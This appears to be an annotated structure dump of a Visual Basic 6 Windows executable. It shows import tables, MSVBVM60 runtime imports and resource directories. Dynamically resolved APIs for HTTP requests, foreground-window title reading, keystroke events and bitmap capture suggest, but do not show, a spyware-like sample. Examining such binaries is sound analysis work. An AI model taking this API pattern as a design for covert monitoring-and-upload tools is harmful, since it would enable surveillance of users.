004098e4 FirstThunk uint32 0x401000 ; RVA to the Import Address Table (loader-resolved entry pointers)
004098e8
004098e8 struct IMAGE_IMPORT_DESCRIPTOR
004098e8 OriginalFirstThunk uint32 0x00000000 ; RVA to the Import Lookup Table (pre-binding; preferred for name resolution)
004098ec TimeDateStamp uint32 0x00000000 ; 0 for unbound import; non-zero records the bind-time DLL timestamp
004098f0 ForwarderChain uint32 0x00000000 ; index of the first forwarder reference; 0xFFFFFFFF marks no forwarder
004098f4 Name uint32 0x00000000 ; RVA to the NUL-terminated DLL name string
004098f8 FirstThunk uint32 0x00000000 ; RVA to the Import Address Table (loader-resolved entry pointers)
004098fc
004098fc struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32 ← 0x4098d4
004098fc AddressOfData uint32 0x409a7a
00409900
00409900 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409900 AddressOfData uint32 0x409a88
00409904
00409904 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409904 AddressOfData uint32 0x409a92
00409908
00409908 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409908 AddressOfData uint32 0x409aa0
0040990c
0040990c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040990c AddressOfData uint32 0x409ab0
00409910
00409910 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409910 AddressOfData uint32 0x409ac2
00409914
00409914 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409914 AddressOfData uint32 0x409ad2
00409918
00409918 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409918 AddressOfData uint32 0x409ae6
0040991c
0040991c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040991c AddressOfData uint32 0x409af6
00409920
00409920 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409920 AddressOfData uint32 0x409b0a
00409924
00409924 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409924 AddressOfData uint32 0x409b18
00409928
00409928 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409928 AddressOfData uint32 0x409b26
0040992c
0040992c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040992c AddressOfData uint32 0x80000229
00409930
00409930 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409930 AddressOfData uint32 0x409b38
00409934
00409934 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409934 AddressOfData uint32 0x409b4e
00409938
00409938 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409938 AddressOfData uint32 0x409b66
0040993c
0040993c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040993c AddressOfData uint32 0x8000029a
00409940
00409940 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409940 AddressOfData uint32 0x409b76
00409944
00409944 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409944 AddressOfData uint32 0x409b86
00409948
00409948 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409948 AddressOfData uint32 0x409b9a
0040994c
0040994c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040994c AddressOfData uint32 0x409baa
00409950
00409950 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409950 AddressOfData uint32 0x409bb8
00409954
00409954 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409954 AddressOfData uint32 0x409bca
00409958
00409958 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409958 AddressOfData uint32 0x409bde
0040995c
0040995c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040995c AddressOfData uint32 0x80000256
00409960
00409960 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409960 AddressOfData uint32 0x80000208
00409964
00409964 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409964 AddressOfData uint32 0x409bf0
00409968
00409968 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409968 AddressOfData uint32 0x80000278
0040996c
0040996c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040996c AddressOfData uint32 0x409bfa
00409970
00409970 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409970 AddressOfData uint32 0x8000020e
00409974
00409974 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409974 AddressOfData uint32 0x409c08
00409978
00409978 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409978 AddressOfData uint32 0x409c1a
0040997c
0040997c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040997c AddressOfData uint32 0x409c2e
00409980
00409980 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409980 AddressOfData uint32 0x409c3a
00409984
00409984 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409984 AddressOfData uint32 0x80000211
00409988
00409988 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409988 AddressOfData uint32 0x409c48
0040998c
0040998c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040998c AddressOfData uint32 0x409c5a
00409990
00409990 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409990 AddressOfData uint32 0x409c68
00409994
00409994 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409994 AddressOfData uint32 0x409c80
00409998
00409998 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409998 AddressOfData uint32 0x409c94
0040999c
0040999c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040999c AddressOfData uint32 0x409ca2
004099a0
004099a0 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099a0 AddressOfData uint32 0x80000258
004099a4
004099a4 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099a4 AddressOfData uint32 0x409cb8
004099a8
004099a8 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099a8 AddressOfData uint32 0x409cc6
004099ac
004099ac struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099ac AddressOfData uint32 0x409cd0
004099b0
004099b0 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099b0 AddressOfData uint32 0x409cec
004099b4
004099b4 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099b4 AddressOfData uint32 0x409d02
004099b8
004099b8 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099b8 AddressOfData uint32 0x409d16
004099bc
004099bc struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099bc AddressOfData uint32 0x409d24
004099c0
004099c0 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099c0 AddressOfData uint32 0x80000260
004099c4
004099c4 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099c4 AddressOfData uint32 0x409d36
004099c8
004099c8 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099c8 AddressOfData uint32 0x409d4a
004099cc
004099cc struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099cc AddressOfData uint32 0x409d5c
004099d0
004099d0 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099d0 AddressOfData uint32 0x80000284
004099d4
004099d4 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099d4 AddressOfData uint32 0x80000285
004099d8
004099d8 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099d8 AddressOfData uint32 0x409d6a
004099dc
004099dc struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099dc AddressOfData uint32 0x409d74
004099e0
004099e0 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099e0 AddressOfData uint32 0x409d8a
004099e4
004099e4 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099e4 AddressOfData uint32 0x409d9a
004099e8
004099e8 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099e8 AddressOfData uint32 0x80000288
004099ec
004099ec struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099ec AddressOfData uint32 0x8000023a
004099f0
004099f0 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099f0 AddressOfData uint32 0x409da6
004099f4
004099f4 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099f4 AddressOfData uint32 0x409db4
004099f8
004099f8 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099f8 AddressOfData uint32 0x409dc6
004099fc
004099fc struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099fc AddressOfData uint32 0x409dd8
00409a00
00409a00 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a00 AddressOfData uint32 0x800002a9
00409a04
00409a04 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a04 AddressOfData uint32 0x409de8
00409a08
00409a08 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a08 AddressOfData uint32 0x409dfc
00409a0c
00409a0c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a0c AddressOfData uint32 0x409e0e
00409a10
00409a10 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a10 AddressOfData uint32 0x80000064
00409a14
00409a14 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a14 AddressOfData uint32 0x409e1c
00409a18
00409a18 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a18 AddressOfData uint32 0x80000262
00409a1c
00409a1c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a1c AddressOfData uint32 0x409e2a
00409a20
00409a20 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a20 AddressOfData uint32 0x409e38
00409a24
00409a24 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a24 AddressOfData uint32 0x80000264
00409a28
00409a28 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a28 AddressOfData uint32 0x409e4a
00409a2c
00409a2c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a2c AddressOfData uint32 0x80000269
00409a30
00409a30 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a30 AddressOfData uint32 0x409e5a
00409a34
00409a34 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a34 AddressOfData uint32 0x409e64
00409a38
00409a38 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a38 AddressOfData uint32 0x409e74
00409a3c
00409a3c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a3c AddressOfData uint32 0x8000021e
00409a40
00409a40 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a40 AddressOfData uint32 0x8000021f
00409a44
00409a44 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a44 AddressOfData uint32 0x409e84
00409a48
00409a48 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a48 AddressOfData uint32 0x80000220
00409a4c
00409a4c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a4c AddressOfData uint32 0x80000221
00409a50
00409a50 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a50 AddressOfData uint32 0x409e8e
00409a54
00409a54 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a54 AddressOfData uint32 0x80000223
00409a58
00409a58 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a58 AddressOfData uint32 0x409e98
00409a5c
00409a5c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a5c AddressOfData uint32 0x409ea2
00409a60
00409a60 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a60 AddressOfData uint32 0x409eb2
00409a64
00409a64 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a64 AddressOfData uint32 0x80000245
00409a68
00409a68 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a68 AddressOfData uint32 0x00000000
00409a6c
00409a6c string "MSVBVM60.DLL",0
00409a79
00409a79 00 .
00409a7a
00409a7a struct IMAGE_IMPORT_BY_NAME ← 0x4098fc
00409a7a Hint uint16 0x0000
00409a7c Name ascii "__vbaStrI2"
00409a87
00409a87 00 .
00409a88
00409a88 struct IMAGE_IMPORT_BY_NAME ← 0x409900
00409a88 Hint uint16 0x0000
00409a8a Name ascii "_CIcos"
00409a91
00409a91 00 .
00409a92
00409a92 struct IMAGE_IMPORT_BY_NAME ← 0x409904
00409a92 Hint uint16 0x0000
00409a94 Name ascii "_adj_fptan"
00409a9f
00409a9f 00 .
00409aa0
00409aa0 struct IMAGE_IMPORT_BY_NAME ← 0x409908
00409aa0 Hint uint16 0x0000
00409aa2 Name ascii "__vbaFreeVar"
00409aaf
00409aaf 00 .
00409ab0
00409ab0 struct IMAGE_IMPORT_BY_NAME ← 0x40990c
00409ab0 Hint uint16 0x0000
00409ab2 Name ascii "__vbaStrVarMove"
00409ac2
00409ac2 struct IMAGE_IMPORT_BY_NAME ← 0x409910
00409ac2 Hint uint16 0x0000
00409ac4 Name ascii "__vbaLenBstr"
00409ad1
00409ad1 00 .
00409ad2
00409ad2 struct IMAGE_IMPORT_BY_NAME ← 0x409914
00409ad2 Hint uint16 0x0000
00409ad4 Name ascii "__vbaFreeVarList"
00409ae5
00409ae5 00 .
00409ae6
00409ae6 struct IMAGE_IMPORT_BY_NAME ← 0x409918
00409ae6 Hint uint16 0x0000
00409ae8 Name ascii "_adj_fdiv_m64"
00409af6
00409af6 struct IMAGE_IMPORT_BY_NAME ← 0x40991c
00409af6 Hint uint16 0x0000
00409af8 Name ascii "__vbaFreeObjList"
00409b09
00409b09 00 .
00409b0a
00409b0a struct IMAGE_IMPORT_BY_NAME ← 0x409920
00409b0a Hint uint16 0x0000
00409b0c Name ascii "_adj_fprem1"
00409b18
00409b18 struct IMAGE_IMPORT_BY_NAME ← 0x409924
00409b18 Hint uint16 0x0000
00409b1a Name ascii "__vbaStrCat"
00409b26
00409b26 struct IMAGE_IMPORT_BY_NAME ← 0x409928
00409b26 Hint uint16 0x0000
00409b28 Name ascii "__vbaLsetFixstr"
00409b38
00409b38 struct IMAGE_IMPORT_BY_NAME ← 0x409930
00409b38 Hint uint16 0x0000
00409b3a Name ascii "__vbaSetSystemError"
00409b4e
00409b4e struct IMAGE_IMPORT_BY_NAME ← 0x409934
00409b4e Hint uint16 0x0000
00409b50 Name ascii "__vbaHresultCheckObj"
00409b65
00409b65 00 .
00409b66
00409b66 struct IMAGE_IMPORT_BY_NAME ← 0x409938
00409b66 Hint uint16 0x0000
00409b68 Name ascii "_adj_fdiv_m32"
00409b76
00409b76 struct IMAGE_IMPORT_BY_NAME ← 0x409940
00409b76 Hint uint16 0x0000
00409b78 Name ascii "__vbaExitProc"
00409b86
00409b86 struct IMAGE_IMPORT_BY_NAME ← 0x409944
00409b86 Hint uint16 0x0000
00409b88 Name ascii "__vbaFileCloseAll"
00409b9a
00409b9a struct IMAGE_IMPORT_BY_NAME ← 0x409948
00409b9a Hint uint16 0x0000
00409b9c Name ascii "__vbaOnError"
00409ba9
00409ba9 00 .
00409baa
00409baa struct IMAGE_IMPORT_BY_NAME ← 0x40994c
00409baa Hint uint16 0x0000
00409bac Name ascii "__vbaObjSet"
00409bb8
00409bb8 struct IMAGE_IMPORT_BY_NAME ← 0x409950
00409bb8 Hint uint16 0x0000
00409bba Name ascii "_adj_fdiv_m16i"
00409bc9
00409bc9 00 .
00409bca
00409bca struct IMAGE_IMPORT_BY_NAME ← 0x409954
00409bca Hint uint16 0x0000
00409bcc Name ascii "__vbaObjSetAddref"
00409bde
00409bde struct IMAGE_IMPORT_BY_NAME ← 0x409958
00409bde Hint uint16 0x0000
00409be0 Name ascii "_adj_fdivr_m16i"
00409bf0
00409bf0 struct IMAGE_IMPORT_BY_NAME ← 0x409964
00409bf0 Hint uint16 0x0000
00409bf2 Name ascii "_CIsin"
00409bf9
00409bf9 00 .
00409bfa
00409bfa struct IMAGE_IMPORT_BY_NAME ← 0x40996c
00409bfa Hint uint16 0x0000
00409bfc Name ascii "__vbaChkstk"
00409c08
00409c08 struct IMAGE_IMPORT_BY_NAME ← 0x409974
00409c08 Hint uint16 0x0000
00409c0a Name ascii "__vbaFileClose"
00409c19
00409c19 00 .
00409c1a
00409c1a struct IMAGE_IMPORT_BY_NAME ← 0x409978
00409c1a Hint uint16 0x0000
00409c1c Name ascii "EVENT_SINK_AddRef"
00409c2e
00409c2e struct IMAGE_IMPORT_BY_NAME ← 0x40997c
00409c2e Hint uint16 0x0000
00409c30 Name ascii "__vbaGet3"
00409c3a
00409c3a struct IMAGE_IMPORT_BY_NAME ← 0x409980
00409c3a Hint uint16 0x0000
00409c3c Name ascii "__vbaStrCmp"
00409c48
00409c48 struct IMAGE_IMPORT_BY_NAME ← 0x409988
00409c48 Hint uint16 0x0000
00409c4a Name ascii "DllFunctionCall"
00409c5a
00409c5a struct IMAGE_IMPORT_BY_NAME ← 0x40998c
00409c5a Hint uint16 0x0000
00409c5c Name ascii "_adj_fpatan"
00409c68
00409c68 struct IMAGE_IMPORT_BY_NAME ← 0x409990
00409c68 Hint uint16 0x0000
00409c6a Name ascii "__vbaFixstrConstruct"
00409c7f
00409c7f 00 .
00409c80
00409c80 struct IMAGE_IMPORT_BY_NAME ← 0x409994
00409c80 Hint uint16 0x0000
00409c82 Name ascii "__vbaLateIdCallLd"
00409c94
00409c94 struct IMAGE_IMPORT_BY_NAME ← 0x409998
00409c94 Hint uint16 0x0000
00409c96 Name ascii "__vbaStrR8"
00409ca1
00409ca1 00 .
00409ca2
00409ca2 struct IMAGE_IMPORT_BY_NAME ← 0x40999c
00409ca2 Hint uint16 0x0000
00409ca4 Name ascii "EVENT_SINK_Release"
00409cb7
00409cb7 00 .
00409cb8
00409cb8 struct IMAGE_IMPORT_BY_NAME ← 0x4099a4
00409cb8 Hint uint16 0x0000
00409cba Name ascii "__vbaUI1I2"
00409cc5
00409cc5 00 .
00409cc6
00409cc6 struct IMAGE_IMPORT_BY_NAME ← 0x4099a8
00409cc6 Hint uint16 0x0000
00409cc8 Name ascii "_CIsqrt"
00409cd0
00409cd0 struct IMAGE_IMPORT_BY_NAME ← 0x4099ac
00409cd0 Hint uint16 0x0000
00409cd2 Name ascii "EVENT_SINK_QueryInterface"
00409cec
00409cec struct IMAGE_IMPORT_BY_NAME ← 0x4099b0
00409cec Hint uint16 0x0000
00409cee Name ascii "__vbaExceptHandler"
00409d01
00409d01 00 .
00409d02
00409d02 struct IMAGE_IMPORT_BY_NAME ← 0x4099b4
00409d02 Hint uint16 0x0000
00409d04 Name ascii "__vbaStrToUnicode"
00409d16
00409d16 struct IMAGE_IMPORT_BY_NAME ← 0x4099b8
00409d16 Hint uint16 0x0000
00409d18 Name ascii "_adj_fprem"
00409d23
00409d23 00 .
00409d24
00409d24 struct IMAGE_IMPORT_BY_NAME ← 0x4099bc
00409d24 Hint uint16 0x0000
00409d26 Name ascii "_adj_fdivr_m64"
00409d35
00409d35 00 .
00409d36
00409d36 struct IMAGE_IMPORT_BY_NAME ← 0x4099c4
00409d36 Hint uint16 0x0000
00409d38 Name ascii "__vbaFPException"
00409d49
00409d49 00 .
00409d4a
00409d4a struct IMAGE_IMPORT_BY_NAME ← 0x4099c8
00409d4a Hint uint16 0x0000
00409d4c Name ascii "__vbaStrVarVal"
00409d5b
00409d5b 00 .
00409d5c
00409d5c struct IMAGE_IMPORT_BY_NAME ← 0x4099cc
00409d5c Hint uint16 0x0000
00409d5e Name ascii "__vbaVarCat"
00409d6a
00409d6a struct IMAGE_IMPORT_BY_NAME ← 0x4099d8
00409d6a Hint uint16 0x0000
00409d6c Name ascii "_CIlog"
00409d73
00409d73 00 .
00409d74
00409d74 struct IMAGE_IMPORT_BY_NAME ← 0x4099dc
00409d74 Hint uint16 0x0000
00409d76 Name ascii "__vbaErrorOverflow"
00409d89
00409d89 00 .
00409d8a
00409d8a struct IMAGE_IMPORT_BY_NAME ← 0x4099e0
00409d8a Hint uint16 0x0000
00409d8c Name ascii "__vbaFileOpen"
00409d9a
00409d9a struct IMAGE_IMPORT_BY_NAME ← 0x4099e4
00409d9a Hint uint16 0x0000
00409d9c Name ascii "__vbaNew2"
00409da6
00409da6 struct IMAGE_IMPORT_BY_NAME ← 0x4099f0
00409da6 Hint uint16 0x0000
00409da8 Name ascii "__vbaR8Str"
00409db3
00409db3 00 .
00409db4
00409db4 struct IMAGE_IMPORT_BY_NAME ← 0x4099f4
00409db4 Hint uint16 0x0000
00409db6 Name ascii "_adj_fdiv_m32i"
00409dc5
00409dc5 00 .
00409dc6
00409dc6 struct IMAGE_IMPORT_BY_NAME ← 0x4099f8
00409dc6 Hint uint16 0x0000
00409dc8 Name ascii "_adj_fdivr_m32i"
00409dd8
00409dd8 struct IMAGE_IMPORT_BY_NAME ← 0x4099fc
00409dd8 Hint uint16 0x0000
00409dda Name ascii "__vbaStrCopy"
00409de7
00409de7 00 .
00409de8
00409de8 struct IMAGE_IMPORT_BY_NAME ← 0x409a04
00409de8 Hint uint16 0x0000
00409dea Name ascii "__vbaFreeStrList"
00409dfb
00409dfb 00 .
00409dfc
00409dfc struct IMAGE_IMPORT_BY_NAME ← 0x409a08
00409dfc Hint uint16 0x0000
00409dfe Name ascii "_adj_fdivr_m32"
00409e0d
00409e0d 00 .
00409e0e
00409e0e struct IMAGE_IMPORT_BY_NAME ← 0x409a0c
00409e0e Hint uint16 0x0000
00409e10 Name ascii "_adj_fdiv_r"
00409e1c
00409e1c struct IMAGE_IMPORT_BY_NAME ← 0x409a14
00409e1c Hint uint16 0x0000
00409e1e Name ascii "__vbaI4Var"
00409e29
00409e29 00 .
00409e2a
00409e2a struct IMAGE_IMPORT_BY_NAME ← 0x409a1c
00409e2a Hint uint16 0x0000
00409e2c Name ascii "__vbaVarDup"
00409e38
00409e38 struct IMAGE_IMPORT_BY_NAME ← 0x409a20
00409e38 Hint uint16 0x0000
00409e3a Name ascii "__vbaStrToAnsi"
00409e49
00409e49 00 .
00409e4a
00409e4a struct IMAGE_IMPORT_BY_NAME ← 0x409a28
00409e4a Hint uint16 0x0000
00409e4c Name ascii "__vbaVarCopy"
00409e59
00409e59 00 .
00409e5a
00409e5a struct IMAGE_IMPORT_BY_NAME ← 0x409a30
00409e5a Hint uint16 0x0000
00409e5c Name ascii "_CIatan"
00409e64
00409e64 struct IMAGE_IMPORT_BY_NAME ← 0x409a34
00409e64 Hint uint16 0x0000
00409e66 Name ascii "__vbaStrMove"
00409e73
00409e73 00 .
00409e74
00409e74 struct IMAGE_IMPORT_BY_NAME ← 0x409a38
00409e74 Hint uint16 0x0000
00409e76 Name ascii "__vbaCastObj"
00409e83
00409e83 00 .
00409e84
00409e84 struct IMAGE_IMPORT_BY_NAME ← 0x409a44
00409e84 Hint uint16 0x0000
00409e86 Name ascii "_allmul"
00409e8e
00409e8e struct IMAGE_IMPORT_BY_NAME ← 0x409a50
00409e8e Hint uint16 0x0000
00409e90 Name ascii "_CItan"
00409e97
00409e97 00 .
00409e98
00409e98 struct IMAGE_IMPORT_BY_NAME ← 0x409a58
00409e98 Hint uint16 0x0000
00409e9a Name ascii "_CIexp"
00409ea1
00409ea1 00 .
00409ea2
00409ea2 struct IMAGE_IMPORT_BY_NAME ← 0x409a5c
00409ea2 Hint uint16 0x0000
00409ea4 Name ascii "__vbaFreeObj"
00409eb1
00409eb1 00 .
00409eb2
00409eb2 struct IMAGE_IMPORT_BY_NAME ← 0x409a60
00409eb2 Hint uint16 0x0000
00409eb4 Name ascii "__vbaFreeStr"
00409ec1
00409ec1 00 00 00 ...
0040a2f4
0040a2f4 uint32_t g_40a2f4 ← GdipCreateBitmapFromHBITMAP
0040a2f4 dd 0x00000000
0040a2f8
0040a2f8 00 00 00 00 00 00 00 00 ........
0040a300
0040a300 uint32_t g_40a300 ← GdipDisposeImage
0040a300 dd 0x00000000
0040a304
0040a304 00 00 00 00 00 00 00 00 00 00 00 00 ............
0040a310 00 00 00 00 00 00 00 00 ........
0040a318
0040a318 uint32_t g_40a318 ← CLSIDFromString
0040a318 dd 0x00000000
0040a31c
0040a31c 00 00 00 00 ....
0040a320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040a330
0040a330 uint32_t g_40a330 ← InternetConnectA
0040a330 dd 0x00000000
0040a334
0040a334 00 00 00 00 00 00 00 00 00 00 00 00 ............
0040a340 00 00 00 00 00 00 00 00 ........
0040a348
0040a348 uint32_t g_40a348 ← HttpOpenRequestA
0040a348 dd 0x00000000
0040a34c
0040a34c 00 00 00 00 ....
0040a350 00 00 00 00 ....
0040a354
0040a354 uint32_t g_40a354 ← HttpSendRequestA
0040a354 dd 0x00000000
0040a358
0040a358 00 00 00 00 00 00 00 00 ........
0040a360
0040a360 uint32_t g_40a360 ← InternetCloseHandle
0040a360 dd 0x00000000
0040a364
0040a364 00 00 00 00 00 00 00 00 ........
0040a36c
0040a36c uint32_t g_40a36c ← HttpAddRequestHeadersA
0040a36c dd 0x00000000
0040a370
0040a370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040a380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040a390
0040a390 uint32_t g_40a390 ← GetForegroundWindow
0040a390 dd 0x00000000
0040a394
0040a394 00 00 00 00 00 00 00 00 ........
0040a39c
0040a39c uint32_t g_40a39c ← GetWindowTextA
0040a39c dd 0x00000000
0040a3a0
0040a3a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040a3b0 00 00 00 00 ....
0040a3b4
0040a3b4 uint32_t g_40a3b4 ← keybd_event
0040a3b4 dd 0x00000000
0040a3b8
0040a3b8 uint32_t g_40a3b8 ← frmMain.Form_Load frmMain.proc_452
0040a3b8 dd 0x00000000
0040a3bc
0040a3bc 00 00 00 00 ....
0040a3c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
0040aaf0 00 00 00 00 00 00 00 00 00 00 00 00 ............
0040b000
0040b000 struct IMAGE_RESOURCE_DIRECTORY
0040b000 Characteristics uint32 0x00000000
0040b004 TimeDateStamp uint32 0x55a501a3
0040b008 MajorVersion int 0
0040b00a MinorVersion int 5
0040b00c NumberOfNamedEntries int 0
0040b00e NumberOfIdEntries int 3
0040b010
0040b010 struct IMAGE_RESOURCE_TYPE_DIRECTORY_ENTRY
0040b010 Name int 3 ; RT_ICON
0040b014 OffsetToData uint32 0x40b058
0040b018
0040b018 struct IMAGE_RESOURCE_TYPE_DIRECTORY_ENTRY
0040b018 Name int 14 ; RT_GROUP_ICON
0040b01c OffsetToData uint32 0x40b040
0040b020
0040b020 struct IMAGE_RESOURCE_TYPE_DIRECTORY_ENTRY
0040b020 Name int 16 ; RT_VERSION
0040b024 OffsetToData uint32 0x40b028
0040b028
0040b028 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b024
0040b028 Characteristics uint32 0x00000000
0040b02c TimeDateStamp uint32 0x55a501a3
0040b030 MajorVersion int 0
0040b032 MinorVersion int 5
0040b034 NumberOfNamedEntries int 0
0040b036 NumberOfIdEntries int 1
0040b038
0040b038 struct IMAGE_RESOURCE_NAME_DIRECTORY_ENTRY
0040b038 Name int 1
0040b03c OffsetToData uint32 0x40b078
0040b040
0040b040 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b01c
0040b040 Characteristics uint32 0x00000000
0040b044 TimeDateStamp uint32 0x55a501a3
0040b048 MajorVersion int 0
0040b04a MinorVersion int 5
0040b04c NumberOfNamedEntries int 0
0040b04e NumberOfIdEntries int 1
0040b050
0040b050 struct IMAGE_RESOURCE_NAME_DIRECTORY_ENTRY
0040b050 Name int 1
0040b054 OffsetToData uint32 0x40b090
0040b058
0040b058 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b014
0040b058 Characteristics uint32 0x00000000
0040b05c TimeDateStamp uint32 0x55a501a3
0040b060 MajorVersion int 0
0040b062 MinorVersion int 5
0040b064 NumberOfNamedEntries int 0
0040b066 NumberOfIdEntries int 2
0040b068
0040b068 struct IMAGE_RESOURCE_NAME_DIRECTORY_ENTRY
0040b068 Name int 30001
0040b06c OffsetToData uint32 0x40b0c0
0040b070
0040b070 struct IMAGE_RESOURCE_NAME_DIRECTORY_ENTRY
0040b070 Name int 30002
0040b074 OffsetToData uint32 0x40b0a8
0040b078
0040b078 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b03c
0040b078 Characteristics uint32 0x00000000
0040b07c TimeDateStamp uint32 0x55a501a3
0040b080 MajorVersion int 0
0040b082 MinorVersion int 5
0040b084 NumberOfNamedEntries int 0
0040b086 NumberOfIdEntries int 1
0040b088
0040b088 struct IMAGE_RESOURCE_LANGUAGE_DIRECTORY_ENTRY
0040b088 Name uint32 0x00000410
0040b08c OffsetToData uint32 0x40b0d8
0040b090
0040b090 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b054
0040b090 Characteristics uint32 0x00000000
0040b094 TimeDateStamp uint32 0x55a501a3
0040b098 MajorVersion int 0
0040b09a MinorVersion int 5
0040b09c NumberOfNamedEntries int 0
0040b09e NumberOfIdEntries int 1
0040b0a0
0040b0a0 struct IMAGE_RESOURCE_LANGUAGE_DIRECTORY_ENTRY
0040b0a0 Name uint32 0x00000000
0040b0a4 OffsetToData uint32 0x40b0e8
0040b0a8
0040b0a8 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b074
0040b0a8 Characteristics uint32 0x00000000
